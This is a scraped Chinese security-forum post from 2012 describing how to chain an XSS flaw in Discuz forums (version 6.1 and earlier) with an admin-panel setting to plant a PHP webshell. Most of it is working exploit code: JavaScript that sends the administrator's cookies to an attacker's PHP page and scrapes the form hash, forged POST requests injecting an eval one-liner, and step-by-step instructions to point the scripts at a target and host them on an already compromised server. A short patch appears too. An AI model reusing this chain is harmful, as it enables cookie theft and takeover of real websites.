找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3687|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell8 k: k- |8 S. p, B4 c% @! p
By racle @tian6.com
! o/ W; c! ?- V6 {; q2 P! N$ w欢迎转帖.但请保留版权信息.' o+ _5 x" [) @- T8 m8 @* L0 O% N& g
受影响版本iscuz<=6.1.0,gbk+utf+big5/ W- N( j7 ^. \: D

7 g1 e& L% B7 ^( h" f" \新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效./ Z; G. ?9 B- n
% r2 ?) \& l) r1 r9 R

( K; e5 s8 s0 I; K$ k3 q9 @3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87061 f/ ^) U) p* w# r9 H! c
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
6 o. S" P  e; k" y; X% Q* P7 B- a! |/ h, X9 d' f
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..# Z& w7 {7 B2 f# Q5 h  R. f
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
2 G7 w# }9 K8 ~8 l$ g  P, q9 @' e7 [# R7 {' _/ h9 [4 c

* V( Y4 H" ?6 {. ^; e----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
: y2 b  \0 F& m* l- Y5 Z% H* i8 A/ J" J& o- J% Y
  Y# ?5 ~$ [" S. U. c6 L
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
3 e% E5 n% T1 ^: X0 _1 j
" k2 f1 U3 O; n) N/ k- g. Nproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
8 a  j% g7 R7 P8 c3 k. ?% Q2 E9 K" \+ l6 P
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.; [$ I2 X/ j* _) v8 ^5 J% L" x

3 Z9 N: [& o) K1 }0 z1 H* A( g; R4 J
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
6 b, l, n8 o2 b1 E% ~2 {. ?/ z
$ x4 |( `7 w6 H# A& ?        global $runwizardfile, $runwizardhistory;% `5 N0 {2 s" l* I) m

/ j* ~9 U4 |) N6 {# a+ P        $fp = fopen($runwizardfile, 'w');$ ^8 I5 D9 @" S  g- V1 F
2 e8 R& Z4 ~# C& \! G# N3 Y. i2 k
        fwrite($fp, serialize($runwizardhistory));
# U" }1 L2 p7 C: Y
' u$ [. ]' F* Q) [; b        fclose($fp);- ]% Y0 ]' M, h- d+ q7 Y
" Q  D' U" I: A0 ]  c
}: Q0 W  R+ r/ c  x. |* j5 S
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
9 `$ b$ k' v! p, }4 W以下是修补的办法:function saverunwizardhistory() {# D9 c, `0 r+ D7 J  ^7 l

" {' ]7 ~2 {9 L1 ~        global $runwizardfile, $runwizardhistory;" k! y. ?8 V2 W# i4 H
' {* F9 }' C9 f0 U! T& y+ a2 g( c
        $fp = fopen($runwizardfile, 'w');5 O* ~% |9 w, `8 n+ z: i. g

/ n7 C, O) Q2 W$ t        $s = '<?php exit;?>';
8 c! w+ d' I5 m& f& Y( d6 F' P  p% D" P7 X1 y
        $s .= serialize($runwizardhistory);
- p1 O1 C, y) v8 e) z* X7 \( ^% ~6 N  D% }
        fwrite($fp, $s);4 \2 l8 r. k% E. T  l, u

5 B, N5 f: G/ J/ S% E7 T: y0 N* d6 M        fclose($fp);
) ]; o5 u- \" i3 A. r3 N" r) D0 i" F
}: X( H/ w& y! ?5 i; R! ~4 ^
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
* n( J1 ^& C; n( C7 w
* D/ q6 w$ [0 ^1 |; F& \  {& l, z1 J1 X6 J; P
; j, A/ V1 v' U  a7 d8 K
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------# C4 [1 K1 ~. s% ]
: J9 _: I, l, u: L
2 @! G0 K7 w6 n/ S
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
) K( g3 q7 c5 Z% W
: b' U# @& N! b  C# z2 \' d8 v我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.; y3 c' c$ P% x/ d1 t7 I% c% j& m
/ y5 L* l4 i) ]% q; t. D
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
( l0 q& O( Y. n5 k$ ^& `0 j; K
7 S4 k+ ?0 i* O0 [9 v( n: ^首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:( ?7 {- Y: I) D7 R8 @9 H) H. m
7 ~# b5 D: O0 Z% A
var url="http://目标网站/admincp.php";      7 F5 O" r  F  o6 a8 C% L
, [6 E3 b+ K  P  f
/*获得cookies*/2 A3 k: i9 C% H8 |  a

) K. W& K+ Y5 ]. Y: D, I) k( j( hfunction getURL(s) {. F3 L4 U0 y" X% r

6 W' k8 x  z2 f2 K( m2 Ivar image = new Image();7 M1 T9 ?5 {& C5 W
7 T" L- K0 }3 s& ?" @7 p5 `# R
image.style.width = 0;6 g7 C& X6 G4 H$ H; @

6 t1 j/ D! p  o6 B' t9 Yimage.style.height = 0;( |9 t- c% y4 p
. c1 {; G5 g. F- j0 H
image.src = s;
: Q0 ]# t' c, b- }) u* i$ i" d9 L9 r7 |$ I3 Q' L  S
}
1 s, |5 j8 D$ b5 ], E1 x
: E3 C. B- E* R5 ~5 D, egetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
5 Q  [, f2 A/ |1 d+ o8 ~1 _! C* S复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];, ]0 l, @3 @' O, B$ U! c
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)   a  n3 S2 \- B: n/ J: x1 C
) J' V6 d. A. C* S9 s  t, \/ i
! Z5 X: l/ V1 O6 \
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
- W2 Z/ H5 G/ Z/ B) N0 G
% |% ^* s8 k# f, [# _3 m* e+ E6 P" y/ k7 S& a/ Y' Z
- S( H" h  d- f- e! _
/*hash*// |) u2 ?5 j- Z3 \

. Q7 N4 k! F8 n" H$ o$ q2 wvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");( F# v8 B1 y" q: q0 _. j6 G2 F
, N- g# n8 `# f# M; a' g
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);/ U1 b) n4 {1 p* C1 y

; t9 o  E5 O/ p( F- }+ _4 ?6 XxmlHttpReq.send();0 |3 ?" K( A. E7 ?

$ H; Z* u: d4 ^- Ivar resource = xmlHttpReq.responseText;
# @8 f; ]8 f7 P) j2 @
" Y- r  J- h) A+ b) Xvar numero = resource.search(/formhash/);  L! Q6 ?% B& Q6 v' Q2 C

  h4 A7 W: E9 w; u" d0 Bvar formhash=encodeURIComponent(resource.substr(numero+17,8));5 y7 T; [; M) L- n! V

' U( x' m& H$ U  |0 f3 c" d
5 I' g: i) m. O0 Q" j5 |* r  D# O+ e
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据   m3 P, Q8 [" K4 }4 b# r, s% S/ k  }

' _& b6 e8 I7 g' |$ i, |1 K$ e6 x7 TxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 1 |5 c' a! b9 ]$ \! x( `0 I7 I

. }6 m- Z" q1 z7 d* CxmlHttpReq.setRequestHeader("Referer", url);% v( M/ _! S% J. D, [0 |2 M
7 b( p. K/ o  ^
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");8 D! }) C. _) M, Q. u" h0 g
4 U$ ~' n$ Q9 A) I7 z$ X9 q1 P) ]% z
xmlHttpReq.setrequestheader("content-length",post.length);
: p! r  W% A, k% Y  K, L. K
: k8 b4 Q, C8 a* q7 k9 NxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 1 F  K' v- X; m  {' L

' N) @7 G5 N- ^8 S8 q1 W- AxmlHttpReq.send(post);//发送数据( @7 N2 i2 {, ^) y
复制代码这里HASH我假设正确,这样提交,也无须cookies
, N$ j# [4 E, B1 v# a0 V; S9 \0 ~( Q. E" j  ]+ S( ^( W3 v
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
8 V% m9 \# a" V( w7 K$ g
( ]( W- ?6 b0 k  cif (!$sock) die("$errstr ($errno)\n");
* j" T! G$ r$ B. O4 a. B9 \$ y* k! \+ u4 h5 U' O
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';1 D( m4 L; Z4 Z2 P/ x3 x+ p  Y' \

+ E5 t; p4 a* y' T
/ }  l9 X1 e$ m* l; |: l$ o  e/ h! X7 Y" A
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
0 R- b' R% L7 u8 p5 U5 ^$ z" ~9 @0 E8 A; }( `* u
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
* @& e) l+ V1 h% ~  k% \5 j0 S
5 ]8 a- ~- _0 y* pfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
$ @3 r: b( n4 X) ]( ^$ _$ e7 Y6 S& [( g7 @7 [
fwrite($sock, "Accept-Language: zh-cn\r\n");- L" h0 S9 p: S* c8 T
! y6 X! Z. w! w4 `/ I, t
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
5 z- b5 e5 f0 [: d. [5 b7 `
- v) m; J+ d1 K2 j; N% L1 [$ xfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");- {$ J* w/ u4 n& R
; N9 j) i0 r( ]5 [( B
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");+ h8 I3 M5 [7 v# h0 x

4 H, R2 j$ ^) Nfwrite($sock, "Host: $url\r\n");5 V, I" \: \9 \! o
( N2 }4 d% B' H( {# ?2 T- w/ J6 n8 G
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");+ W1 J1 A5 G9 n8 L$ y6 z

) X& B2 B" l  j* a* Nfwrite($sock, "Connection: Keep-Alive\r\n");" [! U9 t" x, L5 f3 m4 M

+ j  H0 ~/ e( e2 \, G: c, U+ Z, [8 o$ ~fwrite($sock, "Cache-Control: no-cache\r\n");1 \! s$ h, }0 A1 Y# e. k, t
! L+ I- |2 O0 s! n) a, x4 E  j& ~
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");, h, N) O8 A# h

. V  B  `+ h$ vfwrite($sock, $data);! v# p/ _* X/ i! T% C1 P

5 T' r( H' }; ]& I/ V+ `- y; X) n) }1 N/ P2 O: |% I! S
* ~/ R! J  {7 O+ D
$headers = "";
" u+ h- p2 a. a0 H* {& J
/ t5 c, ]% @2 s9 _. cwhile ($str = trim(fgets($sock, 4096)))( P, j% o% A- H) V6 S, K  c
$ G. J% O: c! K6 w. W: W0 y) a
     $headers .= "$str\n";
6 q0 o' L' v- u* z5 M# L7 `" ~4 V' Y; k* b9 F9 Y" j- _! I- I
echo "\n";7 i$ A4 f+ V. ]$ {  w) I; d6 g
/ X7 X3 y5 m9 Y# G  L; h) P
$body = "";
  @0 k; Q' c7 J9 ^+ ^0 ^9 _7 k1 ^% |
while (!feof($sock))
& o' x, K# e7 u+ K# I, w1 E: z0 e, e% @
     $body .= fgets($sock, 4096);1 B' l. H( H" |: w& z

. j# I# X- I2 b/ ~2 z( B# {fclose($sock);
' @4 m: t6 E9 L# S4 B) V
1 P, B2 Y2 W5 S6 V' |8 \echo $body;3 O9 \; \! B+ ~3 x: \3 M
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^/ L2 M7 H1 E1 I/ O& g% H, v* d
" G' c. C+ a& {, |# s3 J0 @! n
, A8 ^6 A2 P5 d/ H
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------! C0 l* J2 l0 ?  h1 G

# e, d$ M) y  p" d5 _* U1 }  s. f& i8 R& {' ^( \! j& E
1HP SOCKET利用方法首先打开racle.js  `3 r0 o9 e; h2 U0 H0 S3 b4 G2 o4 G
. `8 q7 L/ W2 r$ s) J7 n
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
# U+ W3 u  I7 v0 z/ u
2 q. m. m7 G9 x7 D
: U" ^5 L( S. x' O4 t0 S; a' P: J) q& u& K% e5 z! R+ ~2 G
然后打开racle@tian6.php
1 d2 c4 R% f2 F) F- t3 I: ~6 v2 U8 o3 r  G# Y
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com4 k9 E3 ^" i7 z; h9 |
9 t1 }" t- s/ I/ t
9 L8 d/ \, a3 V* R5 c. b

7 m% W# U6 }! V& j如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:! X6 ?/ J9 D; A/ L
0 u7 ]! F: J; g  o: p' ^: Y/ y
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
. Q1 o5 O/ {: v+ C+ s, Q
. \) @$ Q+ I: q. u; H5 U% R& n3 n/ ^, k  x3 F; w( ?* @; r

- _& Q, ?# K9 l8 K5 P7 hgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));( l3 M/ h& _8 `1 B# N6 C/ V
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.& d5 |  f* B4 O4 J/ {( f8 l: A
5 v/ `4 W/ U6 J1 v% x! K: m( M9 W$ s

0 y: b' G1 D# [" b3 w) c: I3 R( ]
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:# E8 u, G$ a5 Q! A/ u
$ x& m. H2 |( U# L, L) T1 R( ?8 @
var formhash=encodeURIComponent(resource.substr(numero+17,8));
8 N  H) k  \# h0 L
( P4 @) C, |, \
0 ^  k" \' Z: F9 J$ i/ A0 Z; `
* ~8 e3 J' k$ x; l, vvar formhash=encodeURIComponent(resource.substr(numero+9,8));# V2 D6 {' o' n
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.6 w/ i9 k) @5 ~6 D

. t5 Z5 d! O# U$ B如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.4 D7 E8 F/ b; R  D+ S/ U* ~. ^

1 ?6 k! o% O1 ~7 h7 H如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
) ~" H6 q0 U& v  @- a$ m( M' E$ e2 t' U; N
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
* F5 ~7 Z- ]5 l/ ]) X4 R
2 K* i9 S/ w0 d# q4 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表